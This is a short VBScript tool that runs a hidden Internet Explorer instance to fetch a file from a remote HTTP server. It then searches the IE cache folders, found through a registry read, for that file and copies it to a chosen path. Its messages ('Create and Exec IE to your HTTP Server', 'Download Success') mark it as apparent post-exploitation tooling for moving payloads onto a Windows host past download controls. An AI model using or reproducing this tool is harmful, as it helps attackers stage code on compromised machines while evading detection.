URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
tmp = Left(exeName,InStrRev(exeName, ".")-1)
tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
FindFileName = tmp & "[1]" & tmp2
End If
LocalName = WScript.Arguments(2)
set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate URL
WScript.Echo "[+]Create and Exec IE to your HTTP Server ..."
WScript.Sleep(5000)
ie.quit
WScript.Echo "[+]Get the file ..."
set objshell= WScript.Createobject("WScript.Shell")
strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory")
ShowAllFile(strValue)
WScript.Echo "[-]download Fail :("
Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
WScript.Echo "[+]Download Success !"
WScript.Quit
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing
End Sub